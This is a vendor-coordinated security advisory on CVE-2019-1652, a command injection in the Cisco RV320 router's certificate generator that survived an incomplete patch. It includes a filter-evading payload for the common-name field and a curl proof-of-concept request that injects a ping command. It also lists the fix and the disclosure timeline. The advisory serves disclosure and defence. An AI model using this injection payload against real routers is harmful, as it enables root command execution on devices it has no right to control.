RedTeam Pentesting GmbH

Cisco RV320 Command Injection

RedTeam Pentesting discovered a command injection vulnerability in the web-based certificate generator feature of the Cisco RV320 router which was inadequately patched by the vendor.

Details

Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 through 1.4.2.20
Fixed Versions: 1.4.2.22
Vulnerability Type: Remote Code Execution
Security Risk: medium
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-005
Advisory Status: published
CVE: CVE-2019-1652
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652

Introduction

“Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network.” (from the Cisco RV320 product page (https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html))

More Details

The router’s web interface enables users to generate new X.509 certificates directly on the device. Previously, RedTeam Pentesting identified a vulnerability (rt-sa-2018-004) (https://www.redteam-pentesting.de/advisories/rt-sa-2018-004) in this component. By providing a specially crafted common name, it was possible to inject shell commands which were subsequently executed on the router as the root user. This vulnerability was adressed in firmware version 1.4.2.19 published by Cisco (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject).

RedTeam Pentesting discovered that the certificate generator in the patched firmware is still vulnerable. The update adds several filters to handle single quotes in user input. However, these filters can be evaded by specially crafted inputs. By providing the following string for the certificate’s common name, a “ping” command can be injected:

'a$(ping -c 4 192.168.1.2)'b

Proof of Concept

The following HTTP POST request invokes the certificate generator function and triggers the command injection. It requires a valid session cookie for the device’s web interface. The user agent “curl” is blacklisted by the firmware and must be adjusted in the HTTP client.

$ curl -s -k -A kurl -X POST -b "$COOKIE" \
--data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
"&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\
"&organization=A&organization_unit=A&email=ab%40example.com"\
"&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\
"SelectSubject_s=1" \
--data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \
"https://192.168.1.1/certificate_handle2.htm?type=4"

Afterwards, the incoming ICMP echo requests can be observed on the attacker’s system at 192.168.1.2.

Workaround

Prevent untrusted users from using the router’s web interface.

Fix

Install firmware version 1.4.2.22 (or later) on the router.

Security Risk

The vulnerability allows attackers with administrative access to the router’s web interface to execute arbitrary operating system commands on the device. Because attackers require valid credentials to the web interface, this vulnerability is only rated as a medium risk.

Timeline

2018-09-19 Original vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-16 List of affected versions provided by vendor
2019-01-22 Firmware 1.4.2.20 released by vendor
2019-01-23 Advisory (rt-sa-2018-004) published
2019-02-07 Incomplete mitigation of vulnerability identified
2019-02-08 Proof of concept sent to vendor
2019-02-08 Receipt of proof of concept acknowledged by vendor
2019-02-15 Full advisory sent to vendor
2019-02-15 Notified vendor of disclosure date: 2019-03-27
2019-03-25 Requested progress update from vendor
2019-03-25 Vendor requests postponed disclosure
2019-03-25 Postponement declined
2019-03-27 Advisory published
2019-04-04 Firmware 1.4.2.22 released by vendor

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/